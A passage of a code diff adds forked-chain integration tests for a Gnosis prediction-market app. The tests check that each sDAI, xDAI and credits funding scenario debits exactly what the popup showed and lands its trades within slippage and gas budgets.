abi: erc20Abi, functionName: "transfer", args: [route.manager, amount] }), + ); + + const asOption = (child: Child, targetPriceWad = WAD / 2n): PredictOption => ({ + childMarket: child.id, + underlying: child.underlyingToken, + upToken: child.upToken, + downToken: child.downToken, + invalidToken: child.invalidToken, + targetPriceWad, + }); + + const poolRef = async (childMarket: Address, side: "up" | "down") => { + const deadline = Date.now() + 60_000; + for (;;) { + const ref = app.optionPoolRefs(await app.fetchSessionPools(client, poolOptions(session)), childMarket)[side]; + if (ref) return ref; + if (Date.now() > deadline) throw new Error(`${childMarket} has no ${side} pool.`); + await new Promise((resolve) => setTimeout(resolve, 2_000)); + } + }; + + const poolPrice = async (childMarket: Address, side: "up" | "down") => { + const ref = await poolRef(childMarket, side); + const pool = await app.readPoolLiquidity(client, ref); + return app.priceFromSqrtPriceX96(pool.sqrtPriceX96, pool.outcomeIsToken0); + }; + + const poolFee = async (childMarket: Address, side: "up" | "down") => { + const [, , fee] = await client.readContract({ + address: (await poolRef(childMarket, side)).address, + abi: POOL_FEE_ABI, + functionName: "globalState", + }); + return BigInt(fee); + }; + + /** Every child whose two pools sit between 0.15 and 0.85, with where they sit. */ + async function roomyChildren() { + const roomy: Array<{ child: Child; up: bigint; down: bigint }> = []; + for (const child of session.children) { + const refs = app.optionPoolRefs(await app.fetchSessionPools(client, poolOptions(session)), child.id); + if (!refs.up || !refs.down) continue; + const [up, down] = [await poolPrice(child.id, "up"), await poolPrice(child.id, "down")]; + const inside = (price: bigint) => price > (WAD * 15n) / 100n && price < (WAD * 85n) / 100n; + if (inside(up) && inside(down)) roomy.push({ child, up, down }); + } + if (roomy.length === 0) + throw new Error("No child pool sits near 0.5. Run `yarn simulate:session:gnosis-fork --liquidity`."); + return roomy; + } + + /** `price` is within PRICE_TOLERANCE_TICKS of `target`, either way. */ + function expectAtTarget(price: bigint, target: bigint, what: string) { + const ticks = BigInt(tolerances.PRICE_TOLERANCE_TICKS); + const [up, down] = [10_001n ** ticks, 10_000n ** ticks]; + expect(price, `${what} ended above its target ${target}`).toBeLessThanOrEqual((target * up) / down); + expect(price, `${what} ended below its target ${target}`).toBeGreaterThanOrEqual((target * down) / up); + } + + /** + * Funds a fresh owner as the scenario says, works out the funding as the popup does, and runs + * the app's driver to the end with the ledger read either side. + */ + async function runScenario(scenario: Scenario, owner = privateKeyToAccount(scenario.key)): Promise { + const factory = app.tradeExecutorFactoryAddress(CHAIN_ID)!; + const router = app.gnosisRouterAddress(CHAIN_ID)!; + const deposit = app.sDaiDepositRoute(session.collateralToken, CHAIN_ID)!; + const { predicted: executor } = await app.fetchExecutorState(client, { factory, owner: owner.address }); + + if (scenario.walletCollateral) { + await sendFrom( + owner, + deposit.sDaiAdapter, + encodeFunctionData({ abi: app.sDaiAdapterAbi, functionName: "depositXDAI", args: [owner.address] }), + scenario.walletCollateral, + ); + } + const credits = scenario.credits ?? {}; + // the forked chain may already have given these hardhat accounts credits + const inherited = await balance(route.token, owner.address); + if (inherited > 0n) { + await sendFrom( + owner, + route.token, + encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [CREDITS_GOVERNOR, inherited] }), + ); + } + if (credits.wallet || credits.tradeWallet) { + await grantCredits(owner.address, (credits.wallet ?? 0n) + (credits.tradeWallet ?? 0n)); + } + if (credits.tradeWallet) { + await sendFrom( + owner, + route.token, + encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [executor, credits.tradeWallet] }), + ); + } + + const ctx: PredictCtx = { + chainId: CHAIN_ID, + owner: owner.address, + executor, + factory, + router, + collateral: session.collateralToken, + parentMarket: session.parentMarket, + sDaiAdapter: deposit.sDaiAdapter, + credits: route, + }; + const options = scenario.options(await roomyChildren()); + const children = session.children.map((child) => asOption(child)); + + // what the popup reads, and the funding it shows + const native = scenario.pay === "native"; + if (native) await claimVaultInterest(owner, deposit.sDaiAdapter); + const rate = await client.readContract({ + address: deposit.sDai, + abi: VAULT_ABI, + functionName: "convertToAssets", + args: [WAD], + }); + const held = await app.fetchCredits(client, { + contracts: { credits: route.token, manager: route.manager }, + owner: owner.address, + tradeWallet: executor, + collateral: session.collateralToken, + }); + expect( + { wallet: held?.wallet, tradeWallet: held?.tradeWallet }, + "the owner and trade wallet hold the credits the scenario states", + ).toEqual({ wallet: credits.wallet ?? 0n, tradeWallet: credits.tradeWallet ?? 0n }); + const offer = app.creditsOffer(held); + const lines = scenario.useCredits === false ? [] : app.creditLines(held, offer); + const funding = planFunding({ + amount: scenario.amount, + ownWallet: native + ? await client.getBalance({ address: owner.address }) + : await balance(session.collateralToken, owner.address), + tradeWallet: await balance(session.collateralToken, executor), + ...(native ? { tokenPerCollateralWad: rate } : {}), + credits: lines, + }); + expect(scenario.amount, "the scenario stays within what the popup offers").toBeLessThanOrEqual(funding.available); + const request: PredictRequest = { + options, + ...fundingRequest(funding, native), + slippage: DEFAULT_SLIPPAGE, + startedAt: Math.floor(Date.now() / 1000), + }; + const creditsSwap = + request.creditsToSpend > 0n + ? await app.previewCreditsSwap(ctx, request.creditsToSpend, request.slippage.creditsBps, { + reader: app.createPredictReader({ client, sessionId: session.id, collateral: session.collateralToken }), + creditsQuoter: app.createLensExactInputQuoter(client, CHAIN_ID), + }) + : undefined; + + const start = new Map(); + for (const option of options) { + start.set(option.childMarket, { + up: await poolPrice(option.childMarket, "up"), + down: await poolPrice(option.childMarket, "down"), + fees: { up: await poolFee(option.childMarket, "up"), down: await poolFee(option.childMarket, "down") }, + }); + } + + // what the popup's Details shows, worked out as usePricePreview does + const chainReader = app.createPredictReader({ + client, + sessionId: session.id, + collateral: session.collateralToken, + credits: { token: route.token, manager: route.manager }, + }); + const estimates: bigint[] = []; + const reader: typeof chainReader = { + ...chainReader, + estimateGas: async (tx) => { + const gas = await chainReader.estimateGas(tx); + estimates.push(gas); + return gas; + }, + }; + const states = await reader.optionStates({ options, executor }); + const preview: ScenarioRun["preview"] = new Map(); + for (const [index, option] of options.entries()) { + const state = states[index]!; + preview.set( + option.childMarket, + app.previewTrades( + { + pools: state.pools, + targetPriceWad: option.targetPriceWad, + held: state.held, + splitAmount: state.underlying + shownSplit(funding, creditsSwap?.minted)!, + }, + request.slippage.tradeBps, + ), + ); + } + + const scope: LedgerScope = { + owner: owner.address, + executor, + manager: route.manager, + passThrough: [router, route.swaprRouter, deposit.sDaiAdapter], + collateral: session.collateralToken, + wxdai: route.wxdai, + credits: route.token, + options: children, + }; + const before = await readLedger(client, scope); + + const sent: ScenarioRun["sent"] = []; + let beforeBatch = scenario.beforeBatch; + const storage = createMemoryStorage(); + let closeTab = scenario.closeTab; + let lostAnswer = scenario.lostAnswer; + let lateBatch: Promise | undefined; + let leftBehind: FlowRunStorage | undefined; + let tabClosed = false; + let waited = 0; + const flowId = `predict-money-${owner.address}-${Date.now()}`; + const gateway = createViemTxGateway({ + client, + sendTransaction: async (tx) => { + const isBatch = tx.to.toLowerCase() === executor.toLowerCase(); + if (beforeBatch && isBatch) { + const hook = beforeBatch; + beforeBatch = undefined; + await hook(); + } + const isDeposit = + tx.to.toLowerCase() === deposit.sDaiAdapter.toLowerCase() || + tx.to.toLowerCase() === session.collateralToken.toLowerCase(); + if (isDeposit && closeTab === "before-deposit") { + closeTab = undefined; + leftBehind = copyStorage(storage); + throw new TabClosedError(); + } + if (isBatch && closeTab === "before-batch") { + closeTab = undefined; + leftBehind = copyStorage(storage); + throw new TabClosedError(); + } + const data = tx.data ?? "0x"; + const value = tx.value ?? 0n; + const gas = scenario.gas ?? ((await client.estimateGas({ account: owner, to: tx.to, data, value })) * 3n) / 2n; + if (isBatch && lostAnswer) { + const { lagMs } = lostAnswer; + lostAnswer = undefined; + lateBatch = (async () => { + await new Promise((resolve) => setTimeout(resolve, lagMs)); + const hash = await wallet.sendTransaction({ account: owner, chain: gnosis, to: tx.to, data, value, gas }); + sent.push({ stepId: "", tx, receipt: await client.waitForTransactionReceipt({ hash }) }); + })(); + throw new TimeoutError({ body: { method: "eth_sendTransaction" }, url: FORK_RPC_URL! }); + } + const nonce = await client.getTransactionCount({ address: owner.address, blockTag: "pending" }); + let hash: Hash; + try { + hash = await wallet.sendTransaction({ account: owner, chain: gnosis, to: tx.to, data, value, gas }); + sent.push({ stepId: "", tx, receipt: await client.waitForTransactionReceipt({ hash }) }); + } catch (error) { + // hardhat mines a reverting send and answers it with an error, so its fee is found by nonce + const block = await client.getBlock({ blockTag: "latest", includeTransactions: true }); + const mined = block.transactions.find( + (each) => each.from.toLowerCase() === owner.address.toLowerCase() && each.nonce === nonce, + ); + if (mined) sent.push({ stepId: "", tx, receipt: await client.getTransactionReceipt({ hash: mined.hash }) }); + throw error; + } + if ((isBatch && closeTab === "after-batch") || (isDeposit && closeTab === "after-deposit")) { + closeTab = undefined; + leftBehind = copyStorage(storage); + tabClosed = true; + // a closed tab never hears the wallet's answer + return new Promise(() => {}); + } + return hash; + }, + }); + const driverOn = (from: FlowRunStorage) => + app.createPredictRun({ + gateway, + reader, + quoter: app.createLensQuoter(client, CHAIN_ID), + creditsQuoter: app.createLensExactInputQuoter(client, CHAIN_ID), + flowId, + store: createFlowRunStore({ storage: from }), + ctx: () => ctx, + snapshot: () => request, + now: () => Date.now() + waited, + ...(scenario.lostAnswer?.waitMs === undefined + ? {} + : { unansweredSend: { waitMs: scenario.lostAnswer.waitMs, pollMs: 100 } }), + }); + const driver = driverOn(storage); + + // held to Details as the popup holds it, so every batch checks the pools against the preview + driver.start({ + plans: Object.fromEntries([...preview].map(([market, plan]) => [market.toLowerCase(), plan!])), + ...(creditsSwap ? { credits: creditsSwap } : {}), + }); + let confirmed = 0; + await vi.waitFor( + () => { + if (tabClosed) return; + if (driver.getProgress().stage === "moved" && confirmed < (scenario.confirmMoved ?? 0)) { + confirmed += 1; + driver.confirm(); + } + expect(["halted", "complete"]).toContain(driver.getProgress().stage); + }, + { timeout: 300_000, interval: 250 }, + ); + await lateBatch; + const after = await readLedger(client, scope); + return { + ctx, + funding, + request, + options, + children, + before, + after, + sent, + progress: driver.getProgress(), + driver, + start, + preview, + creditsSwap, + estimates, + tabClosed, + confirmed, + passHold: () => { + waited += app.SEND_HOLD_MS; + }, + reopen: () => { + if (!leftBehind) throw new Error("The tab never closed."); + driver.dispose(); + return driverOn(leftBehind); + }, + }; + } + + /** The credits swap's loss Details showed, in hundredths of a percent of the credits' vault value, rounded up. */ + const shownLossBps = (run: Pick): bigint => { + const shown = run.creditsSwap; + if (!shown || shown.vaultValue === 0n) return 0n; + return (shown.loss * 10_000n + shown.vaultValue - 1n) / shown.vaultValue; + }; + + /** The batch transactions a run sent that landed. */ + const landedBatches = (run: Pick) => + run.sent.filter( + ({ tx, receipt }) => tx.to.toLowerCase() === run.ctx.executor.toLowerCase() && receipt.status === "success", + ); + + function batchCalls(data: Hex): Array<{ to: Address; data: Hex; value: bigint }> { + const decoded = decodeFunctionData({ abi: app.tradeExecutorAbi, data }); + if (decoded.functionName === "batchValueExecute") return decoded.args[0].map((call) => ({ ...call })); + if (decoded.functionName === "batchExecute") return decoded.args[0].map((call) => ({ ...call, value: 0n })); + throw new Error(`Expected a batch, got ${decoded.functionName}`); + } + + /** + * M1 to M5 for one run that completed: every debit is what the popup showed, nothing is left + * anywhere but the trade wallet, every option landed and received at least its minimums. + */ + async function expectMoneyKept(run: ScenarioRun, opts: { landing?: boolean } = {}) { + const { ctx, funding, request, before, after, sent } = run; + const { owner, executor } = ctx; + const collateral = session.collateralToken; + const receipts = sent.map((each) => each.receipt); + expect(run.progress.stage, JSON.stringify(run.progress.failure)).toBe("complete"); + + // each batch spends no more gas than the batch sizing counts it at + for (const { tx, receipt } of landedBatches(run)) { + const calls = batchCalls(tx.data!); + const options = new Set( + calls.flatMap((call) => { + if (call.to.toLowerCase() !== ctx.router.toLowerCase()) return []; + let inner; + try { + inner = decodeFunctionData({ abi: app.gnosisRouterAbi, data: call.data }); + } catch { + return []; + } + return inner.functionName === "splitPosition" && + inner.args[1].toLowerCase() !== ctx.parentMarket.toLowerCase() + ? [inner.args[1].toLowerCase()] + : []; + }), + ); + const credits = calls.some((call) => call.to.toLowerCase() === route.manager.toLowerCase()); + expect(receipt.gasUsed, `a batch of ${options.size} options`).toBeLessThanOrEqual( + app.batchGas(options.size, credits), + ); + } + + // M2: the owner is debited exactly what the popup showed, gas aside + expect(moved(before, after, owner, route.token), "credits moved from the wallet").toBe(-request.creditsFromEoa); + if (request.depositNative) { + expect(moved(before, after, owner, collateral)).toBe(0n); + expect(moved(before, after, owner, "native")).toBe(-request.deposit - gasPaid(receipts)); + } else { + expect(moved(before, after, owner, collateral), "sDAI from the wallet").toBe(-request.deposit); + expect(moved(before, after, owner, "native")).toBe(-gasPaid(receipts)); + } + expect(request.deposit, "the deposit is the one the popup showed").toBe(funding.deposit); + expect(request.creditsToSpend, "the credits spent are the ones the popup showed").toBe(funding.creditsIn); + + // credits burned are the credits shown, paid by the manager one sDAI each + expect(before.creditsSupply - after.creditsSupply, "credits burned").toBe(request.creditsToSpend); + expect(moved(before, after, route.manager, collateral), "the manager's sDAI").toBe(-request.creditsToSpend); + expect(moved(before, after, executor, route.token), "the trade wallet's credits").toBe( + request.creditsFromEoa - request.creditsToSpend, + ); + expect(moved(before, after, executor, "native"), "xDAI left in the trade wallet").toBe(0n); + + // M1: what only routes money keeps none of it + for (const holder of [app.gnosisRouterAddress(CHAIN_ID)!, route.swaprRouter, ctx.sDaiAdapter!]) { + for (const token of tokensOf({ ...SCOPE_TOKENS(run), credits: route.token })) { + expect(moved(before, after, holder, token), `${holder} kept ${token}`).toBe(0n); + } + expect(moved(before, after, holder, "native"), `${holder} kept xDAI`).toBe(0n); + } + expect(await outsideRecipients(client, receipts, { owner, executor }), "paid to an outside account").toEqual([]); + // the manager pays from its own sDAI, so the trade wallet never approves its sDAI to Swapr + expect( + await client.readContract({ + address: collateral, + abi: erc20Abi, + functionName: "allowance", + args: [executor, route.swaprRouter], + }), + ).toBe(0n); + + // P2, A4: the parent split is the sDAI shown, and the credits add what their xDAI mints + const batches = landedBatches(run); + expect(batches.length, "every batch landed").toBeGreaterThan(0); + const first = batchCalls(batches[0]!.tx.data!); + const parent = first + .filter((call) => call.to.toLowerCase() === ctx.router.toLowerCase()) + .map((call) => decodeFunctionData({ abi: app.gnosisRouterAbi, data: call.data })); + const sDaiSplit = parent + .filter( + (call) => + call.functionName === "splitPosition" && call.args[1].toLowerCase() === ctx.parentMarket.toLowerCase(), + ) + .reduce((sum, call) => sum + (call.args[2] as bigint), 0n); + + let landed = 0n; + for (const { tx, receipt } of sent) { + const to = tx.to.toLowerCase(); + if (receipt.status !== "success") continue; + if (to !== collateral.toLowerCase() && to !== ctx.sDaiAdapter!.toLowerCase()) continue; + if ( + to === collateral.toLowerCase() && + tx.data && + !tx.data.toLowerCase().includes(executor.slice(2).toLowerCase()) + ) + continue; + landed += + (await balance(collateral, executor, receipt.blockNumber)) - + (await balance(collateral, executor, receipt.blockNumber - 1n)); + } + const shownSDai = funding.collateralIn - funding.creditsIn; + if (request.depositNative) { + const off = sDaiSplit > shownSDai ? sDaiSplit - shownSDai : shownSDai - sDaiSplit; + expect(off, `the sDAI split ${sDaiSplit} against the ${shownSDai} shown`).toBeLessThanOrEqual(DUST_WEI); + expect(sDaiSplit, "the sDAI split is what the deposit minted plus the trade wallet's share").toBe( + landed + app.tradeWalletShare(request), + ); + } else { + expect(sDaiSplit, "the sDAI split is the sDAI shown").toBe(shownSDai); + } + expect(moved(before, after, executor, collateral), "the trade wallet's sDAI").toBe(landed - sDaiSplit); + + let minted = 0n; + const execute = first.find((call) => call.to.toLowerCase() === route.manager.toLowerCase()); + if (request.creditsToSpend > 0n) { + expect(execute, "the first batch spends the credits").toBeDefined(); + const [target, swap, amount, outputToken] = decodeFunctionData({ + abi: MANAGER_EXECUTE_ABI, + data: execute!.data, + }).args; + expect([target.toLowerCase(), amount, outputToken.toLowerCase()]).toEqual([ + route.swaprRouter.toLowerCase(), + request.creditsToSpend, + route.wxdai.toLowerCase(), + ]); + const [leg] = decodeFunctionData({ abi: SWAPR_ROUTER_ABI, data: swap }).args; + expect(leg.recipient.toLowerCase()).toBe(executor.toLowerCase()); + // the manager approves its own sDAI to the router inside execute, so the spend lands with no executor approve + const approvesSwapr = first + .filter((call) => call.to.toLowerCase() === collateral.toLowerCase() && call.data.startsWith("0x095ea7b3")) + .map((call) => decodeFunctionData({ abi: erc20Abi, data: call.data }).args[0] as Address) + .filter((spender) => spender.toLowerCase() === route.swaprRouter.toLowerCase()); + expect(approvesSwapr, "the trade wallet approves its sDAI to Swapr").toEqual([]); + const unwrap = first.find((call) => call.to.toLowerCase() === route.wxdai.toLowerCase())!; + const [floor] = decodeFunctionData({ abi: WXDAI_WITHDRAW_ABI, data: unwrap.data }).args; + expect(floor).toBe(leg.amountOutMinimum); + expect(floor, "the swap is held to the floor Details showed").toBe(run.creditsSwap!.floor); + const base = first.find((call) => call.value > 0n)!; + expect(base.value).toBe(floor); + + // what splitFromBase minted is the vault's preview of the floor + const block = batches[0]!.receipt.blockNumber; + const supply = (blockNumber: bigint) => + client.readContract({ address: collateral, abi: VAULT_ABI, functionName: "totalSupply", blockNumber }); + minted = (await supply(block)) - (await supply(block - 1n)); + const preview = await client.readContract({ + address: collateral, + abi: VAULT_ABI, + functionName: "previewDeposit", + args: [floor], + blockNumber: block - 1n, + }); + const off = minted > preview ? minted - preview : preview - minted; + expect(off, `minted ${minted} against the vault's preview ${preview}`).toBeLessThanOrEqual(DUST_WEI); + + // the credits leg loses no more to the pool than Details showed, past its slippage floor and the mint margin + const value = (shares: bigint) => + client.readContract({ + address: collateral, + abi: VAULT_ABI, + functionName: "convertToAssets", + args: [shares], + blockNumber: block - 1n, + }); + const kept = 10_000n - shownLossBps(run) - BigInt(request.slippage.creditsBps) - app.MINT_RATE_MARGIN_BPS - 1n; + expect(await value(minted)).toBeGreaterThanOrEqual(((await value(request.creditsToSpend)) * kept) / 10_000n); + + // the swap's surplus over the floor stays in the trade wallet as WXDAI, within the slippage allowance + const dust = moved(before, after, executor, route.wxdai); + expect(dust).toBeGreaterThanOrEqual(0n); + const slip = BigInt(request.slippage.creditsBps); + expect(dust).toBeLessThanOrEqual((floor * slip) / (10_000n - slip) + 1n); + } else { + expect(execute, "no credits spent").toBeUndefined(); + expect(moved(before, after, executor, route.wxdai)).toBe(0n); + } + const perChild = sDaiSplit + minted; + + // M3: every option split what both sources minted, received at least its minimums, and landed + const calls = batches.flatMap((batch) => batchCalls(batch.tx.data!)); + const signed = signedOptions(calls, run.options, { gnosisRouter: ctx.router, swaprRouter: route.swaprRouter }); + const leftOut = run.progress.leftOut.map((market) => market.toLowerCase()); + for (const child of run.children) { + const option = run.options.find((each) => each.childMarket === child.childMarket); + const legs = signed.get(child.childMarket); + const held = before.tokens.get(executor)!.get(child.underlying)!; + if (!option || !legs || legs.legInputs.length === 0) { + if (option) + expect(leftOut, `${option.childMarket} was left out without saying so`).toContain( + option.childMarket.toLowerCase(), + ); + // an option the run did not trade keeps what the parent split gave it + expect(moved(before, after, executor, child.underlying), `${child.childMarket}'s underlying`).toBe(perChild); + continue; + } + // the credits' mint is split less the rate margin, which stays as underlying for the next run + const margin = (minted * app.MINT_RATE_MARGIN_BPS) / 10_000n + 1n; + expect(legs.childSplit, `${child.childMarket} splits at most what it holds`).toBeLessThanOrEqual(held + perChild); + expect(legs.childSplit, `${child.childMarket} splits all it holds but the margin`).toBeGreaterThanOrEqual( + held + perChild - margin, + ); + + // M5: Details previewed the legs signed, and a split short of the real one only by the + // credits swap's loss and, for xDAI, the deposit's rounding + const shown = run.preview.get(option.childMarket); + expect(shown, `${option.childMarket} had a preview`).toBeTruthy(); + const kinds = (entries: Array<{ kind: string; side: string }>) => + entries.map(({ kind, side }) => `${kind} ${side}`).sort(); + expect( + kinds( + legs.legInputs.map((leg) => ({ + kind: leg.tokenIn.toLowerCase() === child.underlying.toLowerCase() ? "buy" : "sell", + side: leg.pool, + })), + ), + `${option.childMarket}: the legs signed are the legs previewed`, + ).toEqual( + kinds([ + ...shown!.sells.map((leg) => ({ kind: "sell", side: leg.side })), + ...shown!.buys.map((leg) => ({ kind: "buy", side: leg.side })), + ]), + ); + const previewOff = + shown!.split > legs.childSplit ? shown!.split - legs.childSplit : legs.childSplit - shown!.split; + const allowed = + (request.creditsToSpend * (app.MINT_RATE_MARGIN_BPS + 1n)) / 10_000n + (request.depositNative ? DUST_WEI : 0n); + expect( + previewOff, + `${option.childMarket}: previewed a split of ${shown!.split}, split ${legs.childSplit}`, + ).toBeLessThanOrEqual(allowed); + for (const token of [option.upToken, option.downToken]) { + const floor = + legs.childSplit - + (legs.sold.get(token.toLowerCase() as Address) ?? 0n) - + legs.merge + + (legs.boughtAtLeast.get(token.toLowerCase() as Address) ?? 0n); + expect( + moved(before, after, executor, token), + `${token} received at least the plan's minimum; legs ${JSON.stringify(legs, (_, v) => (typeof v === "bigint" ? v.toString() : v instanceof Map ? Object.fromEntries(v) : v))} option ${option.childMarket} up ${option.upToken} down ${option.downToken}`, + ).toBeGreaterThanOrEqual(floor); + } + expect(moved(before, after, executor, option.invalidToken)).toBe(legs.childSplit - legs.merge); + + const [up, down] = [await poolPrice(option.childMarket, "up"), await poolPrice(option.childMarket, "down")]; + if (opts.landing !== false) { + expectAtTarget(up, option.targetPriceWad, `${option.childMarket} UP`); + expectAtTarget(down, WAD - option.targetPriceWad, `${option.childMarket} DOWN`); + } + + // M1: valued at where the pools end, the option gained what was split into it, less fees + const startAt = run.start.get(option.childMarket)!; + const fees = { up: startAt.fees.up, down: startAt.fees.down }; + for (const side of ["up", "down"] as const) { + const now = await poolFee(option.childMarket, side); + if (now > fees[side]) fees[side] = now; + } + const worth = (ledger: Ledger) => { + const row = ledger.tokens.get(executor)!; + return ( + row.get(option.underlying)! + + (row.get(option.upToken)! * up) / WAD + + (row.get(option.downToken)! * down) / WAD + ); + }; + const feesPaid = legs.legInputs.reduce((sum, leg) => sum + (leg.amountIn * fees[leg.pool]) / FEE_DENOMINATOR, 0n); + const slack = (perChild * 2n) / 10_000n + 10n; + expect(worth(after) - worth(before), `${option.childMarket} lost value beyond its fees`).toBeGreaterThanOrEqual( + perChild - feesPaid - slack, + ); + } + } + + /** The tokens the ledger reads, for the pass-through check. */ + const SCOPE_TOKENS = (run: ScenarioRun): LedgerScope => ({ + owner: run.ctx.owner, + executor: run.ctx.executor, + manager: route.manager, + passThrough: [], + collateral: session.collateralToken, + wxdai: route.wxdai, + credits: route.token, + options: run.children, + }); + + const nudged = (count: number) => (children: Array<{ child: Child; up: bigint }>) => + children.slice(0, count).map(({ child, up }) => asOption(child, up + NUDGE)); + + it.skipIf(!FORK_RPC_URL)( + "goes on from one Confirm when the next swap's fee has risen above the fee the pools store", + async () => { + const [roomy] = await roomyChildren(); + // a large trade raises the pools' volatility, and the fee their next swap pays climbs over the hour after it + const mover = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("600"), + walletCollateral: parseEther("800"), + options: () => [asOption(roomy!.child, (WAD * 8n) / 10n)], + }); + expect(mover.progress.stage, JSON.stringify(mover.progress.failure)).toBe("complete"); + await rpc("evm_increaseTime", [3_600]); + await rpc("evm_mine"); + + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("5"), + walletCollateral: parseEther("50"), + options: (children) => { + const now = children.find(({ child }) => child.id === roomy!.child.id) ?? children[0]!; + return [asOption(now.child, now.up - (WAD * 15n) / 100n)]; + }, + confirmMoved: 3, + }); + + expect(run.progress.stage, JSON.stringify(run.progress.failure)).toBe("complete"); + expect(run.confirmed, "Prices moved stopped the run once, on the fee gap, and Confirm went on").toBe(1); + expect(landedBatches(run)).toHaveLength(1); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "sDAI only: debits the sDAI shown and lands the estimate", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("40"), + walletCollateral: parseEther("100"), + options: nudged(1), + }); + expect(run.request.creditsToSpend).toBe(0n); + await expectMoneyKept(run); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "xDAI only: debits the xDAI shown and splits what it minted", + async () => { + const run = await runScenario({ key: nextKey(), pay: "native", amount: parseEther("50"), options: nudged(1) }); + await expectMoneyKept(run); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "credits only: moves and burns exactly the credits shown, and nothing else of the visitor's", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("30"), + credits: { wallet: parseEther("40") }, + options: nudged(1), + }); + expect(run.request).toMatchObject({ + creditsFromEoa: parseEther("30"), + creditsToSpend: parseEther("30"), + deposit: 0n, + }); + await expectMoneyKept(run); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "credits and sDAI: spends the credits first and the sDAI for the rest (A9)", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("40"), + walletCollateral: parseEther("100"), + credits: { wallet: parseEther("15") }, + options: nudged(1), + }); + expect(run.request).toMatchObject({ creditsToSpend: parseEther("15"), collateralIn: parseEther("25") }); + await expectMoneyKept(run); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "credits and xDAI: spends the credits and deposits xDAI for the rest", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "native", + amount: parseEther("50"), + credits: { wallet: parseEther("12") }, + options: nudged(1), + }); + expect(run.request.creditsToSpend).toBe(parseEther("12")); + expect(run.request.depositNative).toBe(true); + await expectMoneyKept(run); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "credits already in the trade wallet are spent first, with no transfer signed", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("30"), + walletCollateral: parseEther("100"), + credits: { tradeWallet: parseEther("10"), wallet: parseEther("5") }, + options: nudged(1), + }); + expect(run.request).toMatchObject({ creditsToSpend: parseEther("15"), creditsFromEoa: parseEther("5") }); + // a credits transfer comes before the first batch, so its size is the budget's alone + expect(run.estimates).toEqual([]); + expect(run.funding.credits).toEqual([ + { kind: "foresight", fromTradeWallet: parseEther("10"), fromWallet: parseEther("5") }, + ]); + await expectMoneyKept(run); + + const held = await runScenario({ + key: FRESH_KEYS[(fresh - 1) % FRESH_KEYS.length]!, + pay: "collateral", + amount: parseEther("10"), + credits: { tradeWallet: parseEther("10") }, + options: nudged(1), + }); + expect(held.request.creditsFromEoa).toBe(0n); + // everything is already in the deployed trade wallet, so the first batch was estimated live, under the budget + expect(held.estimates).toHaveLength(1); + expect(held.estimates[0]).toBeGreaterThan(0n); + expect(held.estimates[0]).toBeLessThanOrEqual(app.batchGas(1, true)); + expect(held.sent.some(({ tx }) => tx.to.toLowerCase() === route.token.toLowerCase())).toBe(false); + await expectMoneyKept(held, { landing: false }); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "an empty manager offers no credits and moves none; a short one is used for what it holds", + async () => { + await drainManager(); + const empty = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("20"), + walletCollateral: parseEther("50"), + credits: { wallet: parseEther("10") }, + options: nudged(1), + }); + expect( + app.creditsOffer( + await app.fetchCredits(client, { + contracts: { credits: route.token, manager: route.manager }, + owner: empty.ctx.owner, + tradeWallet: empty.ctx.executor, + collateral: session.collateralToken, + }), + ).state, + ).toBe("empty"); + expect(empty.request).toMatchObject({ creditsToSpend: 0n, creditsFromEoa: 0n }); + await expectMoneyKept(empty, { landing: false }); + + await refillManager(parseEther("3")); + const short = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("20"), + walletCollateral: parseEther("50"), + credits: { wallet: parseEther("10") }, + options: nudged(1), + }); + expect(short.request).toMatchObject({ creditsToSpend: parseEther("3"), collateralIn: parseEther("17") }); + await expectMoneyKept(short, { landing: false }); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "a first batch that reverts leaves the credits in the trade wallet, and the retry spends them once (A8)", + async () => { + const key = nextKey(); + const run = await runScenario({ + key, + pay: "collateral", + amount: parseEther("30"), + walletCollateral: parseEther("100"), + credits: { wallet: parseEther("10") }, + options: nudged(1), + beforeBatch: drainManager, + gas: 8_000_000n, + }); + expect(run.progress.failure?.reason).toBe("reverted"); + const owner = privateKeyToAccount(key); + const executor = run.ctx.executor; + expect(await balance(route.token, executor), "the credits wait in the trade wallet").toBe(parseEther("10")); + expect(await balance(route.token, owner.address)).toBe(0n); + + // the trade wallet shows them and they can be withdrawn + const shown = await app.fetchCredits(client, { + contracts: { credits: route.token, manager: route.manager }, + owner: owner.address, + tradeWallet: executor, + collateral: session.collateralToken, + }); + expect(shown?.tradeWallet).toBe(parseEther("10")); + const withdraw = app.withdrawTx({ + executor, + recipient: owner.address, + assets: [{ token: route.token, amount: parseEther("10") }], + }); + await client.call({ account: owner, to: withdraw.to, data: withdraw.data }); + + // the manager is refilled and the run resumes from the batch, spending the credits once + await refillManager(parseEther("100")); + run.driver.retry(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(run.driver.getProgress().stage), { + timeout: 300_000, + interval: 250, + }); + const after = await readLedger(client, SCOPE_TOKENS(run)); + const transfers = run.sent.filter(({ tx }) => tx.to.toLowerCase() === route.token.toLowerCase()); + expect(transfers).toHaveLength(1); + // the manager lost what the governor swept and got back the refill, then paid the credits + await expectMoneyKept( + { + ...run, + after, + progress: run.driver.getProgress(), + before: { + ...run.before, + tokens: new Map( + [...run.before.tokens].map(([holder, row]) => [ + holder, + holder === route.manager + ? new Map( + [...row].map(([token, value]) => [ + token, + token === session.collateralToken ? parseEther("100") : value, + ]), + ) + : row, + ]), + ), + }, + }, + { landing: false }, + ); + }, + 900_000, + 